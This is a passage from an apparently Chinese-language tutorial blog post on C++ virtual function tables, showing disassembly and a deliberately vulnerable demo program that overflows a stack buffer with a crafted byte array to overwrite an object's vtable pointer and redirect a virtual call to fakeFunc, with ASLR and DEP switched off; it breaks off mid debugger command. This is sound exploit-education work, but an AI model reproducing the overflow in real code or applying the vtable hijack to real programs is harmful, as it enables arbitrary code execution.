C++一特性是通过virtual关键字实现运行时多态,虽然自己用到这个关键字的机会不多,但很多引用的第三方库会大量使用这个关键字,比如MFC...如果某个函数由virtual关键字修饰,并且通过指针方式调用,则由编译器实现运行时多态,也是本文溢出虚函数表并加以利用的前提条件。
文章开头提到了能完成溢出利用的前提条件,看下Object.Function()调用方式和ObjectPtr->Function()调用方式的差别,源码如下:
class base
{
public:
virtual void test()
{
printf("%s\n","base:test");
}
};
int main()
{
base obj1;
base* objPtr = &obj1;
obj1.test(); //普通调用方式
objPtr->test(); //运行时多态
return 0;
}
截取关键部分的反汇编代码:
base* objPtr = &obj1;
00401026 lea eax,[obj1]
00401029 mov dword ptr [objPtr],eax
obj1.test();
0040102C lea ecx,[obj1]
0040102F call base::test (401090h) // 1)对应的OpCode为0x0040102F:e8 5c 00 00 00
objPtr->test();
00401034 mov eax,dword ptr [objPtr]
00401037 mov edx,dword ptr [eax]
00401039 mov esi,esp
0040103B mov ecx,dword ptr [objPtr]
0040103E mov eax,dword ptr [edx]
00401040 call eax // 2)
反汇编代码call base::test (401090h)的调用目标就是虚函数test所在的地址(为了编译演示效果,我已关闭链接选项中的增量链接):
virtual void test()
{
00401090 push ebp
00401091 mov ebp,esp
00401093 sub esp,0CCh
00401099 push ebx
0040109A push esi
0040109B push edi
0040109C push ecx
0040109D lea edi,[ebp-0CCh]
004010A3 mov ecx,33h
004010A8 mov eax,0CCCCCCCCh
004010AD rep stos dword ptr es:[edi]
004010AF pop ecx
004010B0 mov dword ptr [ebp-8],ecx
从这段代码可以看到这些信息:
1)处,普通调用方式和C语言中的相对调用一样,都是让Eip跳转一段相对距离去取指执行(从Call指令被汇编为E8看出);而2)处,运行时多态则通过call [Mem]的方式实现间接跳转。这种调用方式比较灵活:首先内存地址Mem是变数,其次内存值[Mem]同样是变数,需要根据程序执行时使用的内存情况而定,不像方式1)那样,编译完了就成了板上钉钉的事实了。就是这种不加检查内存有效性的盲目(<-这段是我自己主观判断的)灵活性给我们带来了利用的机会。
上面已经知道了2种调用机制的差别,现在将重点放到运行时多态的实现上。(为了行文方便,这里容我假设你已经阅读了
一文,并对虚表机制有一定了解)。先看下Obj1对象的内存分布图:
图中显示Obj1对象的虚表存在于Obj1对象外部(按我调试的结论,虚表是类对象所共有,存在于PE文件rodata节中,因为每次修改虚表都会引起访存异常。),在对象内部仅保留一个指针成员指向该共有虚表。如果让指针指向错误的地方----比如我们伪造的虚表,则程序会不假思索的去伪造的虚表取虚函数地址并执行。
鉴于这种猜测,我们动手尝试覆盖Obj1对象的虚表,思路如下:先在栈上开辟一个数组,紧接着创建obj1对象,然后溢出数组直到Obj1对象虚表指针所在的内存。修改后的代码如下:
class base
{
public:
unsigned char buff[4];
base()
{
memset(buff,0xAA,4);
}
virtual void test()
{
printf("%s\n","base:test");
}
};
void fakeFunc()
{
printf("%s\n","fakeFunc");
}
unsigned char shellcode[] = {'\x00','\x10','\x40','\x00',
'\xcc','\xcc','\xcc','\xcc',
'\xcc','\xcc','\xcc','\xcc','\xcc','\xcc','\xcc','\xcc',
'\x08','\xff','\x12','\x00'};
int main()
{
base* objPtr;
base obj1;
unsigned char buf[8] = {0};
objPtr = &obj1;
memcpy(buf,shellcode,0x14);
objPtr->test();
return 0;
}
调试查看变量obj1和buf的内存分布情况:
0:000> dd obj1 l1 0012ff18 0043b1d4 0:000> dd buf 0012ff08 00000000 00000000 cccccccc cccccccc 0012ff18 0043b1d4 aaaaaaaa cccccccc cccccccc
从windbg返回的结果看,buf后面紧贴着0x8B的0xcc,这是变量保存区,由vs编译生成的gap,用于检测栈溢出,紧随其后的0x012ff18是obj1对象所在内存区,这个地址同时也是obj1对象的虚表指针所在,只要巧妙的构造copy给buf的内容,就能使objPtr->test()去执行fakeFunc函数。为了便于试验中构造shellcode,设置VS链接选项随机基质和数据执行保护都为No。
我构造用以溢出buf的缓存区的内容为:
unsigned char shellcode[] = {'\x00','\x10','\x40','\x00',
'\xcc','\xcc','\xcc','\xcc',
'\xcc','\xcc','\xcc','\xcc','\xcc','\xcc','\xcc','\xcc',
'\x08','\xff','\x12','\x00'};
shellcode在这有2个作用:1)很明显的一点溢出buf到obj1所在地址;2)shellcode前4B充当虚函数表,当然这个表的内容比较单一,只有一个表项,表项内容是fakeFunc的地址(见下面的windbg输出结果)。这部分内容我用红色字体标示:'\x00','\x10','\x40','\x00'(Intel小端序),这个需要读者按照自己实际情况修改。
0:000> u fak